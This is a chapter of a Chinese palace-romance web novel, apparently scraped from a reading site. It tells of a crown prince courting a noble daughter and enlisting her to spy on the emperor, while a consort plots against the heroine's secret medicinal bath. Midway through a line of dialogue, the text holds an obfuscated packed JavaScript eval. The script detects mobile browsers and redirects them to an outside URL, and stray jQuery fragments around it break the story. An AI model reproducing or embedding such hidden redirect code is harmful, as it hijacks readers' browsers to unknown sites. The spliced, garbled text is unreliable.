第37章 暖阁药浴

作品:《逼我当妾?我转身当了皇帝宠妃!

    看清顾菀棠的面容,萧容徽才猛然从回忆中醒过神来。


    迅速掩下眼底的异样,他主动解开身上的外袍,走上前去,满眼心疼地为顾菀棠系上,声音柔和地责怪。


    “天气转寒,你身子本就弱,出来怎么也不多穿一些?”


    檀香混合着丝丝酒气,霎时将顾菀棠笼罩其中,似有一股股热气直往脸上扑。


    本来就有些激动的心此刻更是不受控制,砰砰乱跳。


    顾菀棠眼含羞涩地抬眸望了眼萧容徽,有些委屈地揪紧了手中的帕子,声音娇柔做作地向其诉苦。


    “菀棠还以为殿下不会来了。”


    “怎么会?只是最近朝中事务繁忙,再加之国公大人似是对本宫有些误解,本宫这才迟迟未来府中见你。若是可以,本宫自是日日都想见你。”


    闻言,萧容徽眉宇微皱,轻轻抚了抚她的头发,有些疲惫道。


    情话落在耳中,顾菀棠的双颊更是灼热。


    说起顾国公,她猛然想起婚事,轻咬着下唇,向萧容徽吐露心声。


    “之前殿下曾向父亲提过亲事,父亲并未同意,此事菀棠听说了,可那只是父亲的抉择,并非是菀棠心中所想。”


    言外之意便是她其实是想嫁给萧容徽的。


    听她这么说,萧容徽心中自是高兴。


    只要顾菀棠的心在他这,日后即便顾国公不同意,也还有转圜的余地。


    念及此,他眼底的神色更加柔和,将顾菀棠揽入怀中,竖起三根手指,动情地向她承诺着。


    “本宫心中亦只有你一人,只要你愿意,本宫便是倾尽家财也要娶你为妃,待到日后本宫为帝时,你便是本宫唯一的后,绝不相负!”


    唯一吗?


    听着萧容徽有力的心跳及那些温言软语,顾菀棠沉醉其中,不能自拔。


    此刻的她甚至已经在幻想自己登上皇后之位时会有多么耀眼瞩目了。


    顾菀棠伸出手,试探着环上萧容徽的腰身,亦是动情回应。


    “君不负我心,我必不负君意。”


    只是,话虽这么说,但毕竟顾昭棠与萧容徽有过十几年的感情,再加之她长得狐媚,萧容徽难保不会被她所勾引。


    若是继续留她,始终是个隐患,还是要早日将她除掉才是。


    顾菀棠心中如此想着,但面上却并未露出半分表情。


    两人相拥了片刻,随后才依依不舍地松开。


    守在外面的丫鬟也匆匆赶来,颇为心急地提醒。


    “小姐,殿下,夫人已经朝这边来了。”


    顾国公与国公夫人特意叮嘱过她,不许她与萧容徽过多接触,若是此时被她抓住,虽也不会受什么惩罚,但也免不了要被教训一通。


    顾菀棠眼底闪过慌乱,有些不好意思地催促。


    “母亲顾及名声,本不让菀棠与太子殿下相见,今日怕是不能再继续与殿下相叙了,还请殿下莫要怪罪。”


    萧容徽倒也理解。


    他轻轻扯了扯唇,轻摇着头安抚。


    “无妨,今日能与你见一面,本宫已是心满意足。我们的婚事,你不必担忧,国公大人那边自有本宫去说,相信他定会看到本宫的诚意,答应将你许给本宫的。”


    说到这,他语气稍微顿了顿,眼底迅速划过一抹异色。


    “只是本宫如今处境维艰,顾昭棠与陛下联手打压本宫,若你方便,可否常去宫中多与太妃娘娘走动走动,帮本宫探听探听陛下那边的消息?”


    尤其是顾昭棠的动向,以及他们间的关系……


    后面的话,萧容徽犹豫了一番,到底还是没说出口。


    怕被顾菀棠误解,他还特意装作为难的神色,开口解释。


    “若非身边没有可信之人,本宫也不想让你如此劳累,本宫也是……”


    解释的话还没说完,就被顾菀棠打断了。


    她双手端于身前,并无不悦,反而极为懂事地点头答应。


    “殿下不必多言,菀棠身子如今已经恢复的差不多了,本来就要去宫中拜见太妃娘娘的,更何况能帮到太子殿下,菀棠高兴还来不及,又岂会推脱?”


    见她答应,萧容徽这才松了口气,在她额间轻柔落下一吻,这才转身离开。


    顾菀棠站在原地,只觉被他吻过的地方变得有些滚烫。


    “菀棠,你在看什么?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067872|195175||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>身后传来国公夫人的询问,顾菀棠这才回过神来,略显慌乱地收敛了神色,转过身来磕磕巴巴道。


    “没,没什么。”


    “就是觉得在房间有些烦闷,便来后花园散散心,顺便练习下琴技。”


    国公夫人眼底带着疑色,望向后花园门口的方向,但到底还是只关心了她几句,便没再多说什么。


    ……


    另一边,随着时间推移,萧晏溟的治疗也进入最为关键的时期。


    “陛下,您的伤势已经大好,今日便是最后一次药浴,但此次药浴与往常不同,需以多种珍稀药材熬煮汤剂以供陛下沐浴,此外还需辅以特殊针法疏导经脉,过程漫长且需极度安静,不可受扰,否则若有一步行错,只怕前功尽弃!”


    顾昭棠面上带着少见的担忧,垂首站在萧晏溟的身边禀报。


    药材珍稀不珍稀的倒还好说,主要是行针。


    此次针法极为复杂,她虽说已为萧晏溟施针数日,但如此特殊且复杂的针法她还是第一回尝试,除此外,她还要时刻注意萧晏溟的变化。


    即便不被人打扰,她都觉得有些难度,更别说有人打扰了。


    此事事关重大,还是得先说清为好。


    闻言,萧晏溟眉头皱了皱。


    思索一番后,他将手中毛笔放下,抬眸望了眼陈德海,声音毫无波澜地吩咐。


    “陈德海,方才的话你应是也听见了,今夜暖阁,多派些人手,务必要严守门户,任何人不得进来打扰。若有差池,朕唯你是问。”


    “是,老奴这便下去准备。”


    性命攸关,陈德海不敢有丝毫懈怠,应下后便匆忙下去准备了。


    此事极为隐蔽,可还是传到了李贵妃耳中。


    近些时日,李贵妃不知是受太妃授意,还是见顾昭棠日日侍奉在萧晏溟身边,有了危机感,竟一改常态,屡次来御书房求见。


    萧晏溟本就性子冷淡,自是不愿见她。


    李贵妃多次被拒,再加之听闻萧晏溟与顾昭棠连续多日在暖阁闭门数个时辰,嫉妒如火灼心般,让她坐卧难安。


    于是她便买通了个在暖阁外做洒扫的小太监。